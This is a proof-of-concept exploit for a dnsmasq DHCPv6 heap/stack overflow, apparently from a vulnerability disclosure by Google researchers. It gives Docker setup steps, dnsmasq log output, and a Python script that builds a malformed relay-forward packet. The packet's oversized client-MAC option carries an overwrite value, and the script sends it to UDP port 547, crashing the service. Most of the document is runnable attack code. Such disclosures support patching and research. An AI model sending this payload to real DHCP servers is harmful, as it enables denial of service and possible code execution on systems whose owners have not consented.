RootSSV:96620
1) Build the docker and open two terminals
docker build -t dnsmasq .
docker run --rm -t -i --name dnsmasq_test dnsmasq bash
docker cp poc.py dnsmasq_test:/poc.py
docker exec -it <container_id> bash
2) On one terminal start dnsmasq:
dnsmasq: started, version 2.78test2-8-ga3303e1 cachesize 150
dnsmasq: compile time options: IPv6 GNU-getopt no-DBus no-i18n no-IDN DHCP DHCPv6 no-Lua TFTP no-conntrack ipset auth no-DNSSEC loop-detect inotify
dnsmasq-dhcp: DHCPv6, IP range fd00::2 -- fd00::ff, lease time 1h
dnsmasq: reading /etc/resolv.conf
dnsmasq: using nameserver 8.8.8.8
dnsmasq: using nameserver 8.8.4.4
dnsmasq: read /etc/hosts - 7 addresses
3) On another terminal start the PoC:
# python /poc.py ::1 547
[+] sending 70 bytes to ::1:547
4) Dnsmasq will output the following: Segmentation fault (core dumped)
#!/usr/bin/python
#
# Copyright 2017 Google Inc
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
# Authors:
# Fermin J. Serna <[email protected]>
# Felix Wilhelm <[email protected]>
# Gabriel Campana <[email protected]>
# Kevin Hamacher <[email protected]>
# Gynvael Coldwind <[email protected]>
# Ron Bowes - Xoogler :/
from struct import pack
import sys
import socket
def send_packet(data, host, port):
print("[+] sending {} bytes to {}:{}".format(len(data), host, port))
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, len(data))
if s.sendto(data, (host, port)) != len(data):
print("[!] Could not send (full) payload")
s.close()
def u8(x):
return pack("B", x)
def u16(x):
return pack("!H", x)
def gen_option(option, data, length=None):
if length is None:
length = len(data)
return b"".join([
u16(option),
u16(length),
data
])
if __name__ == '__main__':
assert len(sys.argv) == 3, "{} <ip> <port>".format(sys.argv[0])
pkg = b"".join([
u8(12), # DHCP6RELAYFORW
u16(0x0313), u8(0x37), # transaction ID
b"_" * (34 - 4),
# Option 79 = OPTION6_CLIENT_MAC
# Moves argument into char[DHCP_CHADDR_MAX], DHCP_CHADDR_MAX = 16
gen_option(79, "A" * 74 + pack("<Q", 0x1337DEADBEEF)),
])
host, port = sys.argv[1:]
send_packet(pkg, host, int(port))